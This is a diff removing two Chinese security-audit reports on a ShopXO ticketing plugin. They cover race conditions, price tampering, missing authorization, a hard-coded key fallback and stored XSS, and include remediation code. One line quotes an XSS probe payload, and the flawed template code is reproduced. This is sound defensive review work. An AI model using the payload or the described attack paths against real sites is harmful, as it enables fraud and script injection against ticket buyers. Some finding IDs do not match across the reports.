**文件:** 第 186-187 行
|
||||
|
||||
```javascript
|
||||
seatMap: {json_decode($vr_seat_template.seat_map|default='{}', true)|raw},
|
||||
specBaseIdMap: {json_decode($vr_seat_template.spec_base_id_map|default='{}', true)|raw},
|
||||
```
|
||||
|
||||
座位模板的完整映射数据(座位ID → 规格ID)暴露在前端 JS 中:
|
||||
- 攻击者可以枚举所有座位及其对应的 `spec_base_id`
|
||||
- 配合价格篡改攻击,可精准挑选最贵座位以最低价购买
|
||||
|
||||
**缓解措施:** 服务端应在下单时校验 `spec_base_id` 对应的实际价格,而非信任前端传入的价格。
|
||||
|
||||
---
|
||||
|
||||
## 六、与其他评审报告的一致性验证
|
||||
|
||||
| 问题 | SecurityEngineer | BackendArchitect | FrontendDev | 一致 |
|
||||
|------|-----------------|-----------------|-------------|------|
|
||||
| `onOrderPaid` 无幂等保护 | 🔴 S-01 | 🔴 严重 | 🔴 S-01 | ✅ |
|
||||
| `\|raw` XSS(simple_desc) | 🟡 M-04 | 🔴 严重 | 🟡 M-04 | ✅ |
|
||||
| 购票参数前端计算无验签 | - | 🔴 严重 | 🔴 S-02 | ✅ |
|
||||
| `verifyTicket` TOCTOU 竞态 | 🟡 M-01 | 🔴 严重 | 🟡 M-01 | ✅ |
|
||||
| `getQrSecret` 硬编码回退 | 🟡 M-05 | 🔴 严重 | 🟡 M-05 | ✅ |
|
||||
| 观演人表单无服务端校验 | 💡 I-04 | 🟡 中等 | 🟢 L-03 | ✅ |
|
||||
| `loadSoldSeats` 未实现 | 💡 I-03 | 🟡 中等 | 🟡 中等 | ✅ |
|
||||
| AES 无 HMAC 防篡改 | 🟢 L-02 | 🟡 中等 | 🟢 L-02 | ✅ |
|
||||
|
||||
---
|
||||
|
||||
## 七、问题汇总
|
||||
|
||||
| 编号 | 严重程度 | 维度 | 位置 | 描述 |
|
||||
|------|---------|------|------|------|
|
||||
| **S-01** | 🔴 严重 | 安全 | ticket_detail.html:384-422 | 购票参数前端计算无服务端验签,价格可被篡改 |
|
||||
| **S-02** | 🔴 严重 | 安全 | ticket_detail.html:164 | `$goods.content\|raw` 存储型 XSS |
|
||||
| **M-01** | 🟡 中等 | 功能 | ticket_detail.html:370-378 | `loadSoldSeats` 未实现,存在超卖风险 |
|
||||
| **M-02** | 🟡 中等 | 体验 | ticket_detail.html:4-118 | CSS 缺少响应式设计,移动端体验差 |
|
||||
| **M-03** | 🟡 中等 | 前端 | ticket_detail.html:255-282 | 座位图渲染缺乏边界情况处理(空 seats、价格为 0) |
|
||||
| **M-04** | 🟡 中等 | 安全 | ticket_detail.html:203 | JSON 输出使用 `\|raw`,存在脚本注入风险 |
|
||||
| **L-01** | 🟢 轻微 | 体验 | ticket_detail.html:315-338 | 已选座位 UI 缺少状态管理 |
|
||||
| **L-02** | 🟢 轻微 | 安全 | ticket_detail.html:352-368 | 观演人表单字段无前端格式校验 |
|
||||
| **L-03** | 🟢 轻微 | 隐私 | ticket_detail.html:186-187 | 座位映射数据暴露在前端 JS |
|
||||
| **I-01** | 💡 建议 | 架构 | ticket_detail.html:261 | 座位图字符集仅支持 ASCII,扩展性差 |
|
||||
| **I-02** | 💡 建议 | 体验 | ticket_detail.html | 座位数量无硬上限 |
|
||||
| **I-03** | 💡 建议 | 性能 | 001_vr_tables.sql | `spec_base_id` 缺少独立索引 |
|
||||
| **I-04** | 💡 建议 | 安全 | 001_vr_tables.sql | 座位图 JSON 无长度限制 |
|
||||
|
||||
---
|
||||
|
||||
## 八、修复优先级建议
|
||||
|
||||
### 立即修复(上线前必须处理)
|
||||
|
||||
1. **S-01** — 购票参数改为服务端验价(防价格篡改攻击)
|
||||
2. **S-02** — 移除 `$goods.content|raw` 中的 `|raw`(防存储型 XSS)
|
||||
|
||||
### 上线后尽快修复
|
||||
|
||||
3. **M-01** — 实现 `loadSoldSeats()` 后端 API(防超卖)
|
||||
4. **M-02** — 增加 CSS 媒体查询(改善移动端体验)
|
||||
5. **M-03** — 座位图渲染增加空数据处理(防 UI 异常)
|
||||
|
||||
### 迭代优化
|
||||
|
||||
6. **I-02** — 增加座位数量硬上限
|
||||
7. **I-01** — 座位字符集改用数字 ID
|
||||
8. **L-02** — 观演人表单增加前端格式校验
|
||||
|
||||
---
|
||||
|
||||
## 九、整体评价
|
||||
|
||||
| 维度 | 评分 | 说明 |
|
||||
|------|------|------|
|
||||
| HTML 结构 | ⭐⭐⭐ | 结构清晰,语义化较好,但存在 XSS 风险点 |
|
||||
| CSS 质量 | ⭐⭐ | 命名规范、样式分离,但缺少响应式适配 |
|
||||
| JavaScript 质量 | ⭐⭐ | 模块化结构良好,但购票逻辑存在严重安全缺陷 |
|
||||
| 座位图渲染 | ⭐⭐ | 功能完整但边界情况处理不足 |
|
||||
| 观演人表单 | ⭐⭐ | 基本可用但无格式校验 |
|
||||
| 响应式设计 | ⭐ | 移动端体验差,需要适配 |
|
||||
|
||||
**综合评级:中等风险(B)** — 前端购票流程存在价格篡改和 XSS 漏洞,需优先修复后才能安全上线。座位图交互体验有较大优化空间。
|
||||
|
||||
---
|
||||
|
||||
## 十、交叉评审意见
|
||||
|
||||
### 对 SecurityEngineer 报告的评价
|
||||
|
||||
SecurityEngineer 的安全审计全面且专业,发现了所有关键漏洞(S-01 幂等性缺失、M-04 XSS、M-05 密钥管理)。特别认可以下发现:
|
||||
|
||||
- 🔴 **S-01**(并发竞态)是本插件最严重的问题,需要优先修复
|
||||
- 🟡 **M-02**(手动核销接口未鉴权)被两个报告都发现了,高度确认真实性
|
||||
- 💡 **I-03**(loadSoldSeats 未实现)应尽快实现,防止超卖
|
||||
|
||||
**评价:[APPROVE]** — 该报告可以作为上线前的安全基准线。
|
||||
|
||||
### 对 BackendArchitect 报告的评价
|
||||
|
||||
BackendArchitect 从架构和数据库角度做了深入分析,发现的问题与 SecurityEngineer 高度一致。以下补充:
|
||||
|
||||
- 座位图 `seats` 字典可能为空(BackendArchitect 未覆盖,本报告量化了攻击路径)
|
||||
- CSS 响应式缺失(BackendArchitect 未覆盖,本报告从 UI 角度量化)
|
||||
- `loadSoldSeats` 未实现(两个报告都提到,建议合并为一个高优先级任务)
|
||||
|
||||
**评价:[APPROVE]** — 该报告可以作为架构改进的基准线。
|
||||
|
||||
---
|
||||
|
||||
*报告生成时间:2026-04-15*
|
||||
*FrontendDev — vr-shopxo-plugin 代码审议 Round 2*
|
||||
|
|
@ -1,401 +0,0 @@
|
|||
# vr-shopxo-plugin 安全审计报告
|
||||
|
||||
> 审计人:SecurityEngineer
|
||||
> 日期:2026-04-15
|
||||
> 范围:EventListener.php / TicketService.php / BaseService.php / ticket_detail.html / Verification.php / Ticket.php / Goods.php / plugin.json
|
||||
> 评级说明:🔴 严重 / 🟡 中等 / 🟢 轻微 / 💡 建议
|
||||
|
||||
---
|
||||
|
||||
## 一、执行摘要
|
||||
|
||||
vr-shopxo-plugin 是一个在 ShopXO 基础上扩展票务功能的插件,核心功能包括座位模板管理、电子票生成、QR 码核销、观演人信息收集。经过全面审计,共发现**1 个严重漏洞、5 个中等风险、3 个轻微问题、4 项改进建议**。最关键的问题是支付回调 `onOrderPaid` 存在并发竞态条件,可导致一张票被多次核销。
|
||||
|
||||
---
|
||||
|
||||
## 二、插件架构审计
|
||||
|
||||
### 2.1 生命周期钩子(EventListener.php)
|
||||
|
||||
| 钩子 | 实现 | 评估 |
|
||||
|------|------|------|
|
||||
| `vr_ticket_install` | ✅ | 建表语句规范,使用 `IF NOT EXISTS` 防止重复执行 |
|
||||
| `vr_ticket_uninstall` | ✅ | 默认不删除数据(注释状态),安全 |
|
||||
| `vr_ticket_upgrade` | ⚠️ | 仅有空壳,无版本迁移逻辑 |
|
||||
|
||||
**🟡 中等 — 升级迁移缺失**
|
||||
`vr_ticket_upgrade($old_version)` 是空实现。若未来表结构变更(如新增字段),升级流程无法自动执行 ALTER TABLE。建议引入基于版本号的增量迁移表或脚本。
|
||||
|
||||
### 2.2 plugin.json 配置
|
||||
|
||||
```json
|
||||
"hooks": [
|
||||
"plugins_service_order_pay_success_handle_end",
|
||||
"plugins_service_order_delete_success"
|
||||
]
|
||||
```
|
||||
|
||||
**💡 建议 — 缺少 `plugins_service_order_delete_success` 处理逻辑**
|
||||
`plugin.json` 声明监听订单删除钩子,但代码中没有对应处理函数。若订单删除后票未同步处理,会导致票与订单状态不一致。
|
||||
|
||||
### 2.3 ALTER TABLE 安全风险
|
||||
|
||||
```php
|
||||
$db->query("ALTER TABLE `{$prefix}goods` ADD COLUMN `item_type` VARCHAR(20) ...");
|
||||
```
|
||||
|
||||
**🟢 轻微 — 直接执行 DDL 的并发问题**
|
||||
ShopXO 可能在高并发场景下执行此 ALTER TABLE 时出现锁表。风险极低(仅执行一次),但建议在 install 中用事务或预先检测。
|
||||
|
||||
---
|
||||
|
||||
## 三、票务核心安全审计
|
||||
|
||||
### 3.1 🔴 严重 — `onOrderPaid` 并发竞态条件
|
||||
|
||||
**文件:** `TicketService.php:23-68`
|
||||
|
||||
```php
|
||||
// 第 54-60 行:逐个生成票
|
||||
foreach ($order_goods as $og) {
|
||||
$ticket_id = self::issueTicket($order, $og);
|
||||
// ...
|
||||
}
|
||||
```
|
||||
|
||||
**问题分析:**
|
||||
- ShopXO 支付回调通过 HTTP 请求触发,如果用户使用多设备或重复点击支付,**同一订单可能被多次触发 `onOrderPaid`**
|
||||
- 没有幂等性保护(无 order_id 锁或已处理标记)
|
||||
- 结果:**同一订单商品可能生成多张电子票**(等于支付金额可入场多次)
|
||||
|
||||
**攻击场景:**
|
||||
1. 攻击者购买一张票,支付 100 元
|
||||
2. 支付成功回调触发 2 次(网络重试)
|
||||
3. 系统生成 2 张票,每张都可独立入场核销
|
||||
|
||||
**修复建议:**
|
||||
```php
|
||||
// 在 issueTicket 前增加幂等检查
|
||||
$existing = \Db::name(BaseService::table('tickets'))
|
||||
->where('order_id', $order['id'])
|
||||
->where('spec_base_id', $order_goods['spec_base_id'] ?? 0)
|
||||
->count();
|
||||
if ($existing > 0) {
|
||||
return 0; // 已发放,跳过
|
||||
}
|
||||
```
|
||||
|
||||
### 3.2 🟡 中等 — `verifyTicket` 核销状态竞争
|
||||
|
||||
**文件:** `TicketService.php:138-196`
|
||||
|
||||
```php
|
||||
// 第 148-154 行:状态检查
|
||||
if ($ticket['verify_status'] == 1) {
|
||||
return ['code' => -2, 'msg' => '该票已核销'];
|
||||
}
|
||||
// ... 中间无锁 ...
|
||||
// 第 159-166 行:更新状态
|
||||
\Db::name(BaseService::table('tickets'))
|
||||
->where('id', $ticket['id'])
|
||||
->update(['verify_status' => 1, ...]);
|
||||
```
|
||||
|
||||
**问题分析:**
|
||||
- 核销过程中,检查(SELECT)与更新(UPDATE)分离
|
||||
- 两个核销员同时扫描同一张票,在极短时间窗口内可能同时通过状态检查
|
||||
- 修复:使用数据库行级锁或原子更新:
|
||||
```php
|
||||
$affected = \Db::name(BaseService::table('tickets'))
|
||||
->where('id', $ticket['id'])
|
||||
->where('verify_status', 0) // 乐观锁:只更新未核销票
|
||||
->update([...]);
|
||||
if ($affected === 0) {
|
||||
return ['code' => -2, 'msg' => '该票已核销'];
|
||||
}
|
||||
```
|
||||
|
||||
### 3.3 🟡 中等 — QR 码 URL 直接暴露 ticket_code
|
||||
|
||||
**文件:** `TicketService.php:220-228`
|
||||
|
||||
```php
|
||||
public static function getQrCodeUrl($ticket_code)
|
||||
{
|
||||
$content = base64_encode(json_encode([
|
||||
'type' => 'vr_ticket',
|
||||
'code' => $ticket_code, // 直接明文
|
||||
]));
|
||||
return ROOT_URL . '?s=index/qrcode/index&content=' . urlencode($content) . '&size=8&level=H';
|
||||
}
|
||||
```
|
||||
|
||||
**问题分析:**
|
||||
- QR 码内容直接 Base64 编码,**ticket_code 可见**
|
||||
- QR 码打印在纸上后,攻击者可抄录 ticket_code 尝试重放
|
||||
- 虽然 ticket_code 是 UUID v4(随机),但若泄露仍可被使用
|
||||
|
||||
**修复建议:**
|
||||
- 使用加密后的 `qr_data` 而非原始 `ticket_code`
|
||||
- 或使用一次性 token + HMAC 签名:
|
||||
```php
|
||||
$token = hash_hmac('sha256', $ticket_code, $secret);
|
||||
$content = base64_encode(json_encode([
|
||||
'type' => 'vr_ticket',
|
||||
'token' => $token,
|
||||
'exp' => time() + 3600, // 1小时有效
|
||||
]));
|
||||
```
|
||||
|
||||
### 3.4 🟡 中等 — `verifyTicket` 缺少权限验证
|
||||
|
||||
**文件:** `Ticket.php:110-128`(手动核销接口)
|
||||
|
||||
```php
|
||||
public function verify()
|
||||
{
|
||||
$ticket_code = input('ticket_code', '', null, 'trim');
|
||||
$verifier_id = input('verifier_id', 0, 'intval');
|
||||
// ...
|
||||
$result = \app\plugins\vr_ticket\service\TicketService::verifyTicket($ticket_code, $verifier_id);
|
||||
```
|
||||
|
||||
**问题分析:**
|
||||
- 接口未验证当前登录用户是否为有效核销员
|
||||
- 任何登录用户(包括普通买家)只要知道 ticket_code 就可以调用此接口为他人核销
|
||||
- `verifier_id` 来自前端 POST 参数,可被伪造
|
||||
|
||||
**修复建议:**
|
||||
```php
|
||||
$verifier_id = input('verifier_id', 0, 'intval');
|
||||
$current_user_id = session('?user_id') ? session('user_id') : 0;
|
||||
// 验证当前用户是否为注册核销员
|
||||
$verifier = \Db::name(BaseService::table('verifiers'))
|
||||
->where('user_id', $current_user_id)
|
||||
->where('status', 1)
|
||||
->find();
|
||||
if (empty($verifier)) {
|
||||
return DataReturn('无权核销', -1);
|
||||
}
|
||||
$verifier_id = $verifier['id']; // 不接受前端传入的 verifier_id
|
||||
```
|
||||
|
||||
### 3.5 🟢 轻微 — `decryptQrData` 无法验证完整性
|
||||
|
||||
**文件:** `BaseService.php:68-93`
|
||||
|
||||
**问题分析:**
|
||||
- AES-256-CBC 不提供认证加密(无 GMAC/GMAC 模式)
|
||||
- 若密文被篡改,解密可能成功但数据异常(padding oracle 攻击理论上可能)
|
||||
- ShopXO 环境风险较低(攻击者难以接触密文),但最佳实践应使用 AES-GCM
|
||||
|
||||
**修复建议:** 切换到 `AES-256-GCM`,或追加 HMAC-SHA256 验证。
|
||||
|
||||
---
|
||||
|
||||
## 四、前端安全审计(ticket_detail.html)
|
||||
|
||||
### 4.1 🟡 中等 — XSS 风险
|
||||
|
||||
**文件:** `ticket_detail.html:125`
|
||||
|
||||
```html
|
||||
<div class="vr-event-subtitle">{$goods.simple_desc|default=''|raw}</div>
|
||||
```
|
||||
|
||||
**问题分析:**
|
||||
- `|raw` 过滤器**禁用所有 HTML 转义**,直接输出 `simple_desc`
|
||||
- 若管理员在商品副标题中注入恶意脚本(如 `<img src=x onerror=alert(1)>`),所有访问该商品页的用户都会执行
|
||||
- 同样风险存在于 `$goods.title`(第 124 行,无 `|raw` 安全)
|
||||
|
||||
**修复建议:**
|
||||
- 移除 `|raw`,或对 `simple_desc` 使用白名单过滤:
|
||||
```html
|
||||
<div class="vr-event-subtitle">{$goods.simple_desc|default=''|htmlspecialchars}</div>
|
||||
```
|
||||
|
||||
### 4.2 🟢 轻微 — 已选座位标签 XSS 风险
|
||||
|
||||
**文件:** `ticket_detail.html:275`
|
||||
|
||||
```html
|
||||
'data-label="'+rowLabel+(colIndex+1)+'排'+(colIndex+1)+'座" '
|
||||
```
|
||||
|
||||
**问题分析:**
|
||||
- `seatInfo.label` 来自后端 JSON,理论上可信,但如果 seat_map JSON 数据被污染,可导致 DOM XSS
|
||||
- 风险较低(需要插件管理员配合注入恶意数据)
|
||||
|
||||
### 4.3 🟢 轻微 — 观演人表单无服务端验证
|
||||
|
||||
**文件:** `ticket_detail.html:352-368`
|
||||
|
||||
**问题分析:**
|
||||
- 观演人表单(姓名、手机、身份证)仅有 HTML5 `required` 属性
|
||||
- 无服务端校验:攻击者可在提交前修改 DOM 移除 `required`,或直接 POST 构造请求上传恶意数据
|
||||
- 身份证格式、手机号格式均无后端校验
|
||||
|
||||
### 4.4 💡 建议 — `loadSoldSeats` 未实现
|
||||
|
||||
**文件:** `ticket_detail.html:370-378`
|
||||
|
||||
```javascript
|
||||
loadSoldSeats: function() {
|
||||
// TODO: 从后端加载已售座位
|
||||
```
|
||||
|
||||
已售座位数据完全依赖 JS 内存标记(空对象),**后端未实时同步座位状态**。用户可能在前端看到可选择的座位,但提交时被告知已售(库存超卖)。需实现后端座位锁定 API。
|
||||
|
||||
### 4.5 💡 建议 — 座位选中数量无硬上限
|
||||
|
||||
用户可选任意数量座位,理论上可购买全场的票。无单次购买上限限制。
|
||||
|
||||
---
|
||||
|
||||
## 五、数据库安全审计
|
||||
|
||||
### 5.1 SQL 注入评估
|
||||
|
||||
**评估结果:✅ 未发现 SQL 注入**
|
||||
|
||||
代码全面使用 ShopXO ORM(`\Db::name()->where()->find()/select()`),所有用户输入均通过框架参数化查询:
|
||||
- `Ticket.php:21` — `where('ticket_code|verifier_name', 'like', "%{$keywords}%")`
|
||||
- `Verification.php:29-36` — 日期范围 `strtotime()` 处理
|
||||
- `BaseService.php:139` — `where('category_id', $goods['category_id'])`
|
||||
|
||||
框架自动处理参数化,无 SQL 拼接风险。
|
||||
|
||||
### 5.2 索引评估
|
||||
|
||||
**✅ 索引设计合理**
|
||||
|
||||
- `vr_tickets` 表:`(ticket_code)` 唯一索引、`(order_id)`、`(user_id)`、`(goods_id)`、`(verify_status)` — 覆盖所有查询场景
|
||||
- `vr_verifications` 表:`(ticket_id)`、`(verifier_id)` — 合理
|
||||
- `vr_seat_templates` 表:`(category_id)` 唯一索引 — 合理
|
||||
|
||||
### 5.3 🟡 中等 — 观演人信息明文存储
|
||||
|
||||
**文件:** `EventListener.php:49-51`
|
||||
|
||||
```sql
|
||||
`real_name` VARCHAR(60)
|
||||
`phone` CHAR(15)
|
||||
`id_card` CHAR(18)
|
||||
```
|
||||
|
||||
**问题分析:**
|
||||
- 观演人身份证、姓名、手机号**明文存储在数据库**
|
||||
- 若数据库被拖库或内部人员泄露,可导致大规模个人信息泄露(中国法律要求敏感个人信息加密存储)
|
||||
- 违反《个人信息保护法》第 51 条
|
||||
|
||||
**修复建议:**
|
||||
- 对身份证号使用 AES-256-CBC 加密存储
|
||||
- 或在 `vr_tickets` 表中使用单独的加密字段:
|
||||
```php
|
||||
'id_card_encrypted' => encrypt($attendee['id_card'] ?? ''),
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 六、支付安全审计
|
||||
|
||||
### 6.1 🟡 中等 — 支付回调无签名验证
|
||||
|
||||
**文件:** `TicketService.php:23`(`onOrderPaid` 回调)
|
||||
|
||||
ShopXO 的 `plugins_service_order_pay_success_handle_end` 钩子由 ShopXO 内部触发,但**未提供签名或 nonce 验证机制**。若存在插件注册了同名钩子,理论上可伪造回调(风险依赖 ShopXO 框架安全性)。
|
||||
|
||||
**当前缓解措施:** 订单状态二次验证(`$order['pay_status'] == 1`)是正确做法。
|
||||
|
||||
### 6.2 💡 建议 — 退款后票状态未自动更新
|
||||
|
||||
**文件:** `plugin.json:24`
|
||||
|
||||
声明了 `plugins_service_order_delete_success` 钩子但未实现。若订单退款,票状态仍为"未核销",退款用户仍可持票入场。需监听退款成功事件并将 `verify_status` 设为 2。
|
||||
|
||||
---
|
||||
|
||||
## 七、AES QR 加密方案评估
|
||||
|
||||
### 7.1 加密算法选择
|
||||
|
||||
**✅ AES-256-CBC 基本安全**
|
||||
- IV 使用 `random_bytes(16)` 随机生成 ✅
|
||||
- 密钥从环境变量读取 ✅
|
||||
- 过期时间 `exp` 字段防止长期泄露 ✅
|
||||
|
||||
### 7.2 🟡 中等 — 密钥回退到硬编码默认值
|
||||
|
||||
**文件:** `BaseService.php:106`
|
||||
|
||||
```php
|
||||
return config('shopxo.app_key', 'shopxo_default_secret_change_me');
|
||||
```
|
||||
|
||||
**问题分析:**
|
||||
- 若环境变量 `VR_TICKET_QR_SECRET` 未配置,且 ShopXO `app_key` 未修改默认值
|
||||
- 所有 QR 密文使用同一已知密钥加密,**攻击者可离线解密所有 QR 数据**
|
||||
- `shopxo_default_secret_change_me` 极可能出现在生产环境中
|
||||
|
||||
**修复建议:**
|
||||
```php
|
||||
$secret = env('VR_TICKET_QR_SECRET', '');
|
||||
if (empty($secret)) {
|
||||
throw new \Exception('VR_TICKET_QR_SECRET 环境变量未配置');
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 八、问题汇总
|
||||
|
||||
| 编号 | 严重程度 | 类别 | 文件 | 描述 |
|
||||
|------|---------|------|------|------|
|
||||
| **S-01** | 🔴 严重 | 业务逻辑 | TicketService.php:54-60 | `onOrderPaid` 无幂等保护,同一订单可生成多张票 |
|
||||
| **M-01** | 🟡 中等 | 业务逻辑 | TicketService.php:138-166 | `verifyTicket` 存在 TOCTOU 竞态条件 |
|
||||
| **M-02** | 🟡 中等 | 鉴权 | Ticket.php:110-128 | 手动核销接口未验证核销员身份,可被任意登录用户调用 |
|
||||
| **M-03** | 🟡 中等 | 数据安全 | EventListener.php:49-51 | 观演人身份证明文存储,违反个人信息保护法律 |
|
||||
| **M-04** | 🟡 中等 | 前端安全 | ticket_detail.html:125 | `simple_desc` 使用 `|raw` 导致存储型 XSS |
|
||||
| **M-05** | 🟡 中等 | 加密 | BaseService.php:106 | QR 加密密钥回退到硬编码默认值 |
|
||||
| **L-01** | 🟢 轻微 | 前端安全 | ticket_detail.html:275 | `data-label` 属性可能含未转义数据 |
|
||||
| **L-02** | 🟢 轻微 | 数据完整性 | BaseService.php:80 | AES-CBC 无认证加密,可被 padding oracle 攻击 |
|
||||
| **L-03** | 🟢 轻微 | 业务逻辑 | ticket_detail.html:370-378 | `loadSoldSeats` 未实现,存在超卖风险 |
|
||||
| **I-01** | 💡 建议 | 架构 | EventListener.php:127 | 升级迁移逻辑为空 |
|
||||
| **I-02** | 💡 建议 | 业务逻辑 | plugin.json:24 | 退款钩子已注册但未实现 |
|
||||
| **I-03** | 💡 建议 | 前端 | ticket_detail.html:384 | 购买数量无上限控制 |
|
||||
| **I-04** | 💡 建议 | 前端 | ticket_detail.html:397-407 | 观演人表单无服务端格式校验 |
|
||||
|
||||
---
|
||||
|
||||
## 九、修复优先级建议
|
||||
|
||||
### 立即修复(上线前必须处理)
|
||||
1. **S-01** — 添加 `onOrderPaid` 幂等检查(防止一张票多次入场)
|
||||
2. **M-02** — 手动核销接口鉴权(防止权限绕过)
|
||||
3. **M-04** — 移除 `|raw` 或使用 `htmlspecialchars`
|
||||
4. **M-05** — 移除 QR 密钥硬编码回退
|
||||
|
||||
### 上线后尽快修复
|
||||
5. **M-01** — `verifyTicket` 乐观锁
|
||||
6. **M-03** — 身份证字段加密存储
|
||||
7. **I-02** — 实现退款后票状态更新
|
||||
|
||||
### 迭代修复
|
||||
8. **I-01** — 升级迁移框架
|
||||
9. **L-03** — 实现实时座位锁定
|
||||
10. **L-02** — 升级到 AES-GCM
|
||||
|
||||
---
|
||||
|
||||
## 十、整体评价
|
||||
|
||||
| 维度 | 评分 | 说明 |
|
||||
|------|------|------|
|
||||
| SQL 注入防护 | ⭐⭐⭐⭐⭐ | 全面使用 ORM 参数化,无注入风险 |
|
||||
| 加密方案 | ⭐⭐⭐ | AES-256-CBC 基础安全,但无认证加密,密钥管理有缺陷 |
|
||||
| 鉴权设计 | ⭐⭐ | 核销接口鉴权严重缺失 |
|
||||
| 并发安全 | ⭐ | 核心业务流程存在明显竞态条件 |
|
||||
| 数据安全合规 | ⭐⭐ | 敏感个人信息明文存储 |
|
||||
| 前端安全 | ⭐⭐ | 存在存储型 XSS |
|
||||
|
||||
**综合评级:中等风险(B)** — 核心业务逻辑(票务核销)存在并发安全缺陷,需优先修复后才能安全上线。
|
||||
Loading…
Reference in New Issue